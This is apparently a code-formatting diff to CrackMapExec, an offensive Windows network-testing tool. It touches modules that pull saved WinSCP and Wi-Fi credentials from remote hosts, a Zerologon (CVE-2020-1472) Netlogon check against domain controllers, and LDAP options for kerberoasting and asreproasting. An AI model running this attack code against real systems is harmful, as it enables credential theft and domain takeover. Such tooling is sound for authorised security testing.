if str(e).find('rpc_s_access_denied'):
if str(e).find("rpc_s_access_denied"):
context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
except:
context.log.fail("UNEXPECTED ERROR:")
@@ -363,16 +396,16 @@ class CMEModule:
config.read_string(confFile)
# Stop extracting creds if Master Password is set
if (int(config.get('Configuration\\Security', 'UseMasterPassword')) == 1):
if int(config.get("Configuration\\Security", "UseMasterPassword")) == 1:
context.log.fail("Master Password Set, unable to recover saved passwords!")
return
for section in config.sections():
if config.has_option(section, 'HostName'):
hostName = unquote(config.get(section, 'HostName'))
userName = config.get(section, 'UserName')
if config.has_option(section, 'Password'):
encPassword = config.get(section, 'Password')
if config.has_option(section, "HostName"):
hostName = unquote(config.get(section, "HostName"))
userName = config.get(section, "UserName")
if config.has_option(section, "Password"):
encPassword = config.get(section, "Password")
decPassword = self.decryptPasswd(hostName, userName, encPassword)
else:
decPassword = "NO_PASSWORD_FOUND"
@@ -381,8 +414,8 @@ class CMEModule:
def getConfigFile(self, context, connection):
if self.filepath:
self.share = (self.filepath.split(':')[0] + "$")
path = self.filepath.split(':')[1]
self.share = self.filepath.split(":")[0] + "$"
path = self.filepath.split(":")[1]
try:
buf = BytesIO()
@@ -397,23 +430,25 @@ class CMEModule:
context.log.display("Looking for WinSCP creds in User documents and AppData...")
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
users = []
for row in output.split('\r\n'):
for row in output.split("\r\n"):
users.append(row.strip())
users = users[2:]
# Iterate over found users and default paths to look for WinSCP.ini files
for user in users:
paths = [("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini")]
paths = [
("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
]
for path in paths:
confFile = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
context.log.success("Found config file at \"{}\"! Extracting credentials...".format(self.share + path))
context.log.success('Found config file at "{}"! Extracting credentials...'.format(self.share + path))
except:
context.log.debug("No config file found at \"{}\"".format(self.share + path))
context.log.debug('No config file found at "{}"'.format(self.share + path))
if confFile:
self.decodeConfigFile(context, confFile)
+15 -12
View File
@@ -10,16 +10,14 @@ from cme.helpers.logger import highlight
class CMEModule:
name = 'wifi'
name = "wifi"
description = "Get key of all wireless interfaces"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
""" """
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
@@ -48,7 +46,7 @@ class CMEModule:
conn = None
try:
conn = DPLootSMBConnection(target)
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug("Could not upgrade connection: {}".format(e))
@@ -60,7 +58,7 @@ class CMEModule:
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.log.debug("Could not get masterkeys: {}".format(e))
if len(masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
@@ -74,14 +72,19 @@ class CMEModule:
except Exception as e:
context.log.debug("Error while looting wifi: {}".format(e))
for wifi_cred in wifi_creds:
if wifi_cred.auth.upper() == 'OPEN':
if wifi_cred.auth.upper() == "OPEN":
context.log.highlight("[OPEN] %s" % (wifi_cred.ssid))
if wifi_cred.auth.upper() in ['WPAPSK', 'WPA2PSK']:
if wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK"]:
try:
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password.decode('latin-1')))
context.log.highlight(
"[%s] %s - Passphrase: %s"
% (
wifi_cred.auth.upper(),
wifi_cred.ssid,
wifi_cred.password.decode("latin-1"),
)
)
except:
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
else:
context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type))
+30 -20
View File
@@ -28,21 +28,29 @@ class CMEModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname):
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
host = self.context.db.get_hosts(connection.host)[0]
self.context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, zerologon=True)
self.context.db.add_host(
host.ip,
host.hostname,
host.domain,
host.os,
host.smbv1,
host.signing,
zerologon=True,
)
except Exception as e:
self.context.log.debug(f"Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug('Performing authentication attempts...')
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
@@ -51,15 +59,17 @@ class CMEModule:
if result:
return True
else:
self.context.log.debug('\nAttack failed. Target is probably patched.')
self.context.log.debug("\nAttack failed. Target is probably patched.")
except DCERPCException as e:
self.context.log.fail(f"Error while connecting to host: DCERPCException, "
f"which means this is probably not a DC!")
self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!")
def fail(msg):
cme_logger.debug(msg, file=sys.stderr)
cme_logger.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
cme_logger.debug(
"This might have been caused by invalid arguments or network issues.",
file=sys.stderr,
)
sys.exit(2)
@@ -67,34 +77,34 @@ def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
flags = 0x212FFFFF
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
dc_handle + '\x00',
target_computer + '$\x00',
dc_handle + "\x00",
target_computer + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00',
target_computer + "\x00",
ciphertext,
flags
flags,
)
# It worked!
assert server_auth['ErrorCode'] == 0
assert server_auth["ErrorCode"] == 0
return True
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
if ex.get_error_code() == 0xC0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
fail(f"Unexpected error code from DC: {ex.get_error_code()}.")
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
fail(f"Unexpected error: {ex}.")
+4 -5
View File
@@ -3,18 +3,17 @@
from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
def parse_targets(target):
try:
if '-' in target:
start_ip, end_ip = target.split('-')
if "-" in target:
start_ip, end_ip = target.split("-")
try:
end_ip = ip_address(end_ip)
except ValueError:
first_three_octets = start_ip.split(".")[:-1]
first_three_octets.append(end_ip)
end_ip = ip_address(
".".join(first_three_octets)
)
end_ip = ip_address(".".join(first_three_octets))
for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
for ip in ip_range:
+12 -12
View File
@@ -5,11 +5,11 @@ import xmltodict
# Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
protocol_dict = {
'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']},
'mssql': {'ports': [1433], 'services': ['mssql']},
'ssh': {'ports': [22], 'services': ['ssh']},
'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']},
'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']}
"smb": {"ports": [445, 139], "services": ["smb", "cifs"]},
"mssql": {"ports": [1433], "services": ["mssql"]},
"ssh": {"ports": [22], "services": ["ssh"]},
"winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
"http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
}
@@ -20,25 +20,25 @@ def parse_nessus_file(nessus_file, protocol):
# Must return True otherwise xmltodict will throw a ParsingIterrupted() exception
# https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219
if any('ReportHost' and 'ReportItem' in values for values in path):
if any("ReportHost" and "ReportItem" in values for values in path):
item = dict(path)
ip = item['ReportHost']['name']
ip = item["ReportHost"]["name"]
if ip in targets:
return True
port = item['ReportItem']['port']
svc_name = item['ReportItem']['svc_name']
port = item["ReportItem"]["port"]
svc_name = item["ReportItem"]["svc_name"]
if port in protocol_dict[protocol]['ports']:
if port in protocol_dict[protocol]["ports"]:
targets.append(ip)
if svc_name in protocol_dict[protocol]['services']:
if svc_name in protocol_dict[protocol]["services"]:
targets.append(ip)
return True
else:
return True
with open(nessus_file, 'r') as file_handle:
with open(nessus_file, "r") as file_handle:
xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file)
return targets
+16 -13
View File
@@ -5,31 +5,34 @@ import xmltodict
# Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
protocol_dict = {
'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']},
'mssql': {'ports': [1433], 'services': ['ms-sql-s']},
'ssh': {'ports': [22], 'services': ['ssh']},
'winrm': {'ports': [5986, 5985], 'services': ['wsman']},
'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']}
"smb": {"ports": [445, 139], "services": ["netbios-ssn", "microsoft-ds"]},
"mssql": {"ports": [1433], "services": ["ms-sql-s"]},
"ssh": {"ports": [22], "services": ["ssh"]},
"winrm": {"ports": [5986, 5985], "services": ["wsman"]},
"http": {
"ports": [80, 443, 8443, 8008, 8080, 8081],
"services": ["http", "ssl/https"],
},
}
def parse_nmap_xml(nmap_output_file, protocol):
targets = []
with open(nmap_output_file, 'r') as file_handle:
with open(nmap_output_file, "r") as file_handle:
scan_output = xmltodict.parse(file_handle.read())
for host in scan_output['nmaprun']['host']:
if host['address'][0]['@addrtype'] != 'ipv4':
for host in scan_output["nmaprun"]["host"]:
if host["address"][0]["@addrtype"] != "ipv4":
continue
ip = host['address'][0]['@addr']
for port in host['ports']['port']:
if port['state']['@state'] == 'open':
if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']):
ip = host["address"][0]["@addr"]
for port in host["ports"]["port"]:
if port["state"]["@state"] == "open":
if "service" in port and (port["service"]["@name"] in protocol_dict[protocol]["services"]):
if ip not in targets:
targets.append(ip)
elif port['@portid'] in protocol_dict[protocol]['ports']:
elif port["@portid"] in protocol_dict[protocol]["ports"]:
if ip not in targets:
targets.append(ip)
+11 -11
View File
@@ -2,14 +2,14 @@ import os
import sys
import cme
CME_PATH = os.path.expanduser('~/.cme')
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
if os.name == 'nt':
TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted'
if hasattr(sys, 'getandroidapilevel'):
TMP_PATH = os.path.join('/data', 'data', 'com.termux', 'files', 'usr', 'tmp', 'cme_hosted')
WS_PATH = os.path.join(CME_PATH, 'workspaces')
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
WORKSPACE_DIR = os.path.join(CME_PATH, 'workspaces')
DATA_PATH = os.path.join(os.path.dirname(cme.__file__), 'data')
CME_PATH = os.path.expanduser("~/.cme")
TMP_PATH = os.path.join("/tmp", "cme_hosted")
if os.name == "nt":
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\cme_hosted"
if hasattr(sys, "getandroidapilevel"):
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "cme_hosted")
WS_PATH = os.path.join(CME_PATH, "workspaces")
CERT_PATH = os.path.join(CME_PATH, "cme.pem")
CONFIG_PATH = os.path.join(CME_PATH, "cme.conf")
WORKSPACE_DIR = os.path.join(CME_PATH, "workspaces")
DATA_PATH = os.path.join(os.path.dirname(cme.__file__), "data")
+3 -8
View File
@@ -7,7 +7,6 @@ from ftplib import FTP, error_reply, error_temp, error_perm, error_proto
class ftp(connection):
@staticmethod
def proto_args(parser, std_parser, module_parser):
ftp_parser = parser.add_parser('ftp', help="own stuff using FTP", parents=[std_parser, module_parser])
@@ -24,7 +23,7 @@ class ftp(connection):
"protocol": "FTP",
"host": self.host,
"port": self.args.port,
"hostname": self.hostname
"hostname": self.hostname,
}
)
@@ -66,15 +65,11 @@ class ftp(connection):
try:
self.conn.login(user=username, passwd=password)
self.logger.success(
f"{username}:{process_secret(password)}"
)
self.logger.success(f"{username}:{process_secret(password)}")
self.conn.close()
return True
except Exception as e:
self.logger.fail(
f'{username}:{process_secret(password)} (Response:{e})'
)
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
self.conn.close()
return False
+33 -18
View File
@@ -3,46 +3,62 @@
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from cme.logger import cme_logger
class database:
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.LoggedinRelationsTable = None
self.db_engine = db_engine
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(
bind=self.db_engine,
expire_on_commit=True
)
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
self.sess = Session()
@staticmethod
def db_schema(db_conn):
db_conn.execute('''CREATE TABLE "credentials" (
db_conn.execute("""CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"username" text,
"password" text
)''')
)""")
db_conn.execute('''CREATE TABLE "hosts" (
db_conn.execute("""CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"host" text,
"port" integer,
"server_banner" text
)''')
"banner" text
)""")
db_conn.execute("""CREATE TABLE "loggedin_relations" (
"id" integer PRIMARY KEY,
"credid" integer,
"hostid" integer,
FOREIGN KEY(credid) REFERENCES credentials(id),
FOREIGN KEY(hostid) REFERENCES hosts(id)
)""")
def reflect_tables(self):
with self.db_engine.connect() as conn:
try:
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.CredentialsTable = Table(
"credentials", self.metadata, autoload_with=self.db_engine
)
self.HostsTable = Table(
"hosts", self.metadata, autoload_with=self.db_engine
)
self.LoggedinRelationsTable = Table(
"loggedin_relations", self.metadata, autoload_with=self.db_engine
)
except (NoInspectionAvailable, NoSuchTableError):
print(
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
@@ -54,7 +70,7 @@ class database:
def shutdown_db(self):
try:
self.conn.close()
self.sess.close()
# due to the async nature of CME, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
@@ -63,5 +79,4 @@ class database:
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
self.sess.execute(table.delete())
+1 -1
View File
@@ -15,4 +15,4 @@ class navigator(DatabaseNavigator):
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
YOU CANNOT UNDO THIS COMMAND
"""
print_help(help_string)
print_help(help_string)
+345 -158
View File
@@ -17,8 +17,12 @@ from bloodhound.ad.authentication import ADAuthentication
from bloodhound.ad.domain import AD
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, \
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
from impacket.dcerpc.v5.samr import (
UF_ACCOUNTDISABLE,
UF_DONT_REQUIRE_PREAUTH,
UF_TRUSTED_FOR_DELEGATION,
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,
)
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
@@ -47,8 +51,9 @@ ldap_error_status = {
"773": "STATUS_PASSWORD_MUST_CHANGE",
"775": "USER_ACCOUNT_LOCKED",
"50": "LDAP_INSUFFICIENT_ACCESS",
"0": "LDAP Signing IS Enforced",
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED"
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
@@ -56,27 +61,52 @@ def resolve_collection_methods(methods):
"""
Convert methods (string) to list of validated methods to resolve
"""
valid_methods = ['group', 'localadmin', 'session', 'trusts', 'default', 'all', 'loggedon',
'objectprops', 'experimental', 'acl', 'dcom', 'rdp', 'psremote', 'dconly',
'container']
default_methods = ['group', 'localadmin', 'session', 'trusts']
valid_methods = [
"group",
"localadmin",
"session",
"trusts",
"default",
"all",
"loggedon",
"objectprops",
"experimental",
"acl",
"dcom",
"rdp",
"psremote",
"dconly",
"container",
]
default_methods = ["group", "localadmin", "session", "trusts"]
# Similar to SharpHound, All is not really all, it excludes loggedon
all_methods = ['group', 'localadmin', 'session', 'trusts', 'objectprops', 'acl', 'dcom', 'rdp', 'psremote', 'container']
all_methods = [
"group",
"localadmin",
"session",
"trusts",
"objectprops",
"acl",
"dcom",
"rdp",
"psremote",
"container",
]
# DC only, does not collect to computers
dconly_methods = ['group', 'trusts', 'objectprops', 'acl', 'container']
if ',' in methods:
method_list = [method.lower() for method in methods.split(',')]
dconly_methods = ["group", "trusts", "objectprops", "acl", "container"]
if "," in methods:
method_list = [method.lower() for method in methods.split(",")]
validated_methods = []
for method in method_list:
if method not in valid_methods:
cme_logger.error('Invalid collection method specified: %s', method)
cme_logger.error("Invalid collection method specified: %s", method)
return False
if method == 'default':
if method == "default":
validated_methods += default_methods
elif method == 'all':
elif method == "all":
validated_methods += all_methods
elif method == 'dconly':
elif method == "dconly":
validated_methods += dconly_methods
else:
validated_methods.append(method)
@@ -86,24 +116,24 @@ def resolve_collection_methods(methods):
# It is only one
method = methods.lower()
if method in valid_methods:
if method == 'default':
if method == "default":
validated_methods += default_methods
elif method == 'all':
elif method == "all":
validated_methods += all_methods
elif method == 'dconly':
elif method == "dconly":
validated_methods += dconly_methods
else:
validated_methods.append(method)
return set(validated_methods)
else:
cme_logger.error('Invalid collection method specified: %s', method)
cme_logger.error("Invalid collection method specified: %s", method)
return False
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop('make_required', [])
x = kwargs.pop("make_required", [])
super(ConditionalAction, self).__init__(option_strings, dest, **kwargs)
self.make_required = x
@@ -122,11 +152,11 @@ class ldap(connection):
self.os_arch = 0
self.hash = None
self.ldapConnection = None
self.lmhash = ''
self.nthash = ''
self.baseDN = ''
self.target = ''
self.targetDomain = ''
self.lmhash = ""
self.nthash = ""
self.baseDN = ""
self.target = ""
self.targetDomain = ""
self.remote_ops = None
self.bootkey = None
self.output_filename = None
@@ -146,31 +176,64 @@ class ldap(connection):
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help='No smb connection')
dgroup = ldap_parser.add_mutually_exclusive_group()
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
domain_arg = dgroup.add_argument(
"-d",
metavar="DOMAIN",
dest="domain",
type=str,
default=None,
help="domain to authenticate to",
)
dgroup.add_argument(
"--local-auth",
action="store_true",
help="authenticate locally to each target",
)
no_smb_arg.make_required = [domain_arg]
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat')
egroup.add_argument("--kerberoasting", help="Get TGS ticket ready to crack with hashcat")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
vgroup = ldap_parser.add_argument_group(
"Retrieve useful information on the domain",
"Options to to play with Kerberos",
)
vgroup.add_argument(
"--trusted-for-delegation",
action="store_true",
help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION",
)
vgroup.add_argument(
"--password-not-required",
action="store_true",
help="Get the list of users with flag PASSWD_NOTREQD",
)
vgroup.add_argument(
"--admin-count",
action="store_true",
help="Get objets that had the value adminCount=1",
)
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
ggroup.add_argument(
"--gmsa-convert-id",
help="Get the secret name of specific gmsa or all gmsa if no gmsa provided",
)
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan")
bgroup.add_argument("-ns", '--nameserver', help="Custom DNS IP")
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
bgroup.add_argument(
"-c",
"--collection",
help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All (all except LoggedOn). You can specify more than one by separating them with a comma. (default: Default)'",
)
return parser
@@ -178,10 +241,10 @@ class ldap(connection):
# self.logger = cme_logger
self.logger = CMEAdapter(
extra={
'protocol': "LDAP",
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
"protocol": "LDAP",
"host": self.host,
"port": self.args.port,
"hostname": self.hostname,
}
)
@@ -206,7 +269,7 @@ class ldap(connection):
resp = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext", "dnsHostName"],
sizeLimit=0
sizeLimit=0,
)
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
@@ -216,9 +279,14 @@ class ldap(connection):
base_dn = None
try:
for attribute in item["attributes"]:
if str(attribute['type']) == "defaultNamingContext":
if str(attribute["type"]) == "defaultNamingContext":
base_dn = str(attribute["vals"][0])
target_domain = sub(",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=I)[3:]
target_domain = sub(
",DC=",
".",
base_dn[base_dn.lower().find("dc=") :],
flags=I,
)[3:]
if str(attribute["type"]) == "dnsHostName":
target = str(attribute["vals"][0])
except Exception as e:
@@ -231,7 +299,7 @@ class ldap(connection):
def get_os_arch(self):
try:
string_binding = fr"ncacn_ip_tcp:{self.host}[135]"
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
@@ -239,7 +307,10 @@ class ldap(connection):
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
try:
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"))
dce.bind(
MSRPC_UUID_PORTMAP,
transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"),
)
except DCERPCException as e:
if str(e).find("syntaxes_not_supported") >= 0:
dce.disconnect()
@@ -288,9 +359,9 @@ class ldap(connection):
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 \
else self.conn._SMBConnection._Connection["RequireSigning"]
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
self.os_arch = self.get_os_arch()
self.logger.extra["hostname"] = self.hostname
if not self.domain:
self.domain = self.hostname
@@ -308,9 +379,7 @@ class ldap(connection):
# Re-connect since we logged off
self.create_conn_obj()
self.output_filename = os.path.expanduser(
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
)
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.output_filename = self.output_filename.replace(":", "-")
def print_host_info(self):
@@ -323,14 +392,21 @@ class ldap(connection):
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
self.logger.display(
f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})"
)
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})")
self.logger.extra["protocol"] = "LDAP"
# self.logger.display(self.endpoint)
return True
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
# cme_logger.getLogger("impacket").disabled = True
self.username = username
self.password = password
@@ -361,7 +437,7 @@ class ldap(connection):
hash_asreproast.write(hash_tgt + "\n")
return False
if not all('' == s for s in [self.nthash, password, aesKey]):
if not all("" == s for s in [self.nthash, password, aesKey]):
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
else:
kerb_pass = ""
@@ -380,10 +456,10 @@ class ldap(connection):
self.nthash,
aesKey,
kdcHost=kdcHost,
useCache=useCache
useCache=useCache,
)
if self.username == '':
if self.username == "":
self.username = self.get_ldap_username()
self.check_if_admin()
@@ -404,7 +480,7 @@ class ldap(connection):
# for PRE-AUTH account
self.logger.success(
f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}",
color='yellow'
color="yellow",
)
return False
except SessionError as e:
@@ -412,13 +488,13 @@ class ldap(connection):
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
self.logger.fail(
f"{self.domain}\\{self.username}{used_ccache} {str(error)}",
color='magenta' if error in ldap_error_status else 'red'
color="magenta" if error in ldap_error_status else "red",
)
return False
except (KeyError, KerberosException, OSError) as e:
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(e)}",
color='red'
color="red",
)
return False
except ldap_impacket.LDAPSessionError as e:
@@ -437,10 +513,10 @@ class ldap(connection):
self.nthash,
aesKey,
kdcHost=kdcHost,
useCache=useCache
useCache=useCache,
)
if self.username == '':
if self.username == "":
self.username = self.get_ldap_username()
self.check_if_admin()
@@ -455,25 +531,25 @@ class ldap(connection):
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
return True
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if error_code in ldap_error_status else 'red'
)
return False
except SessionError as e:
error, desc = e.getErrorString()
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}",
color='magenta' if error in ldap_error_status else 'red'
color="magenta" if error in ldap_error_status else "red",
)
return False
except:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
